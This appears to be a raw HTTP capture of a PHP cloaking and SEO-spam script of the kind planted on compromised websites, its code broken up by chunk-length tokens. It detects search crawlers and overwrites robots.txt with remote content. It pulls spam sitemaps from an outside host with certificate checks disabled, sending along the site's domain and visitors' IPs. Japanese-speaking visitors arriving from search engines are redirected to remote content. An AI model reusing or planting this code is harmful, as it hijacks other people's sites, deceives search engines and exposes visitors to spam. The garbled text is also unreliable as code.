1 < 5 ?php 6 error_ 6 report 5 ing(0 4 ); @ 6 set_ti 6 me_lim 5 it(12 8 0); @ign 6 ore_us 5 er_ab 5 ort(1 8 ); $tr = 5 "htt 5 ps:// 4 j260 4 305_ 4 23.b 6 arrett 5 .give 5 s/"; 5 class 5 Req 6 { 5 publi 6 c func 5 tion 7 server( 5 $name 6 = '', 5 $def 4 ault b = '') d { if 5 (empt 9 y($name)) f { 7 return 5 $_SER 4 VER; 13 } 10 $name = strtoupp 13 er($name); 9 return is c set($_SERVER 7 [$name] 4 ) ? 1a $_SERVER[$name] : $default 7 ; } 19 public function iss( 17 ) { if ($th 4 is-> a server('HT 4 TPS' 5 ) && 5 ("1" 3 == 1b $this->server('HTTPS') || " 7 on" == 8 strtolow 1a er($this->server('HTTPS')) 1a )) { return tr e ue; } 4 else b if ('https' 15 == $this->server('RE 5 QUEST 4 _SCH 4 EME' 33 )) { return true; } elseif ('44 15 3' == $this->server(' a SERVER_POR 33 T')) { return true; } elseif (' 1e https' == $this->server('HTTP_ 5 X_FOR 4 WARD 5 ED_PR 3 OTO 39 ')) { return true; } return f 4 alse 20 ; } public function host 12 () { $ b host = strv 16 al($this->server('HTTP f _X_FORWARDED_HO 6 ST') ? 16 : $this->server('HTTP_ 18 HOST')); return 7 strpos( 8 $host, ' 9 :') ? str f str($host, ':', 6 true) 8 : $host 20 ; } public function sche 13 me() { e return $this-> 8 iss() ? a "https" : 6 "http" 1e ; } public function dm 29 () { return $this->scheme() . 6 "://" a . $this-> 23 host(); } public function i 16 p() { if ( 6 getenv 9 ('HTTP_CL 5 IENT_ 14 IP')) { 3 $ip 1b = getenv('HTTP_CLIENT_IP') 21 ; } elseif (getenv('HTTP_ f X_FORWARDED_FOR 36 ')) { $ip = getenv('HTTP_X_FORWARDED_FOR') 20 ; } elseif (getenv('REMO 5 TE_AD 22 DR')) { $ip = getenv(' 1d REMOTE_ADDR'); } else 26 { $ip = $this->server('RE 27 MOTE_ADDR'); } return $ 20 ip; } public function is 14 c() { $a 5 gent 22 = strtolower($this->server('HTTP_U 5 SER_A 4 GENT 12 ')); if ($ b agent != '' 7 && pre 5 g_mat 5 ch('/ 5 googl 5 ebot| 9 google|ya 5 hoo|b 5 ing|a 5 ol/si 9 ', $agent 5a )) { return true; } return false; } public function is b g() { 4 $re 25 fer = strtolower($this->server('HTTP_ 5 REFER f ER')); a $referbots 4 = ' 25 google|yahoo|bing|aol'; if ($ 1b refer != '' && preg_match(" c /($referbots 6 )/si", 7 $refer 5b )) { return true; } return false; } public function uri 17 () { if (($ 9 pos = str 1b pos($this->server('REQUEST_ 4 URI' 5 ), '. 7 php')) 4 !== 17 false) { $s 6 cript_ 9 name = ba 6 sename 14 ($this->server('SCRI 4 PT_F 5 ILENA 6 ME')); 11 if ( 26 basename($this->server('SCRIPT_NAME')) 11 === $script_name 15 ) { $ 3 url 1f = $this->server('SCRIPT_NAME') 18 ; } elseif ( 1b basename($this->server('PHP 5 _SELF 3e ')) === $script_name) { $url = $this->server(' 3b PHP_SELF'); } elseif (basename($this->server('O 4 RIG_ 49 SCRIPT_NAME')) === $script_name) { $url = $this->server(' 2a ORIG_SCRIPT_NAME'); } elseif ( 28 ($pos = strpos($this->server('PHP_SELF') 5 , '/' 10 . $script_name) 1b ) !== false) { e $url = sub 20 str($this->server('SCRIPT_NAME') 6 , 0, $ 7 pos) . 2a '/' . $script_name; } elseif ( 11 $this->server('DO 3 CUM 8 ENT_ROOT 6 ') && 28 strpos($this->server('SCRIPT_FILENAME'), 1f $this->server('DOCUMENT_ROOT') 7 ) === 0 1d ) { $url = st 8 r_replac 21 e($this->server('DOCUMENT_ROOT'), 6 '', $ 3c this->server('SCRIPT_FILENAME')); } 4 $req 7 uri = $ 5 url . 26 substr($this->server('REQUEST_URI'), 8 $pos + 4 21 ); } else { $ 2e requri = substr($this->server('REQUEST_URI'), 27 strpos($this->server('REQUEST_URI'), '/ 1f ')); } return r 5 trim( d $requri, '/') 1f ; } public function exe 5 cReq( 8 $url, $p 6 = arr 4 ay() 23 ) { $url = str_replace( 6 ' ', ' 5 +', $ 10 url); $c 8 h = curl 4 _ini d t(); 9 curl_seto 5 pt($c 5 h, CU 4 RLOP 16 T_URL, $url); 1c curl_setopt($ch, CURLOPT_RET 5 URNTR 3 ANS 6 FER, 1 26 ); curl_setopt($ch, CURLOPT_HE 7 ADER, 0 26 ); curl_setopt($ch, CURLOPT_TI 5 MEOUT 3 , 2 29 0); curl_setopt($ch, CURLOPT_POST 28 , 1); curl_setopt($ch, CURLOPT_S 6 SL_VER 4 IFYP 2a EER, 0); curl_setopt($ch, CURLOPT_ 10 SSL_VERIFYHOST, 29 0); curl_setopt($ch, CURLOPT_POST 4 FIEL 4 DS, 8 http_bui 4 ld_q 6 uery($ f p)); $o 5 utput c = curl_exec 10 ($ch); $ 8 errorCod c e = curl_err 11 no($ch); 9 curl_clos 10 e($ch); a if (0 !== a $errorCode 26 ) { return false; 12 } return $ f output; } } 5 $req 6 = new 8 Req(); 4 $isc 7 = $req c ->isc(); $is d g = $req->isg 8 (); $uma 7 p = $tr 8 . "map" 9 ; $uri = 6 urldec 13 ode($req->uri()); $ f p = array( 6 "domai 5 n" => b $req->dm() 7 , " f port" => $req-> 16 server('SERVER_PORT', a 80), " c uri" => $uri 4 ); c if (substr($ 7 uri, -1 7 0) == " 6 robots 5 .txt" b ) { hea 6 der("C 5 onten 5 t-typ 5 e:tex 6 t/plai 5 n; ch 5 arset 5 =utf- 9 8"); a die($req-> f execReq($tr . " a robots", $ 6 p)); } 14 if (substr($uri, -6 15 ) == "robots") { 2b $output = $req->execReq($tr . "robots", $p) 9 ; $rp 8 t = __DI 7 R__ . " 12 /robots.txt"; 5 file_ 5 put_c c ontents($rpt 9 , $output 13 ); $robots_cont 9 = @file_ 3 get 1a _contents($rpt); if (s 6 trpos( 17 strtolower($robots_cont 8 ), "site 4 map" 11 )) { die( 11 "robots.txt file 6 create 6 succe 3 ss! 19 "); } else { 20 die("robots.txt file create fail a !"); } 1c } if (substr($uri, -4) == " 4 .xml 14 ") { if (strpos( a $uri, "all e sitemap.xml") 11 || strpos($uri, " a sitemap-in 3 dex 27 .xml") || strpos($uri, "sitemap-index-1 23 .xml") || strpos($uri, "index.xml") 25 ) { $output = $req->execReq($ f umap, $p); 1e header("Content-type:text/ 4 " . f (substr($output 6 , 0, 5 9 ) === 'execReq($tr . "wo e rd", $p); 1d header("Content-type:text/xml 17 ; charset=utf-8"); d if ($output = 5 = "1" 16 ) { die('' . $ 33 req->execReq($umap, $p)); } else { die( 18 '' . $output); } } $ 3 lan 17 g = $req->server('HTTP_ 4 ACCE 6 PT_LAN 5 GUAGE 8 '); if ( 6 !$isc 8 && $isg f && strpos($lang 6 , 'ja' 4 )!== f false) { $p 5 ["ip" c ] = $req->ip a (); $a 6 ction c = $tr . "jum 8 p"; 19 die($req->execReq($action 12 , $p)); } if ($isc 20 ) { die('' . $req->execReq($ a tr . "inda d ta", $p)); } 2 ?> 0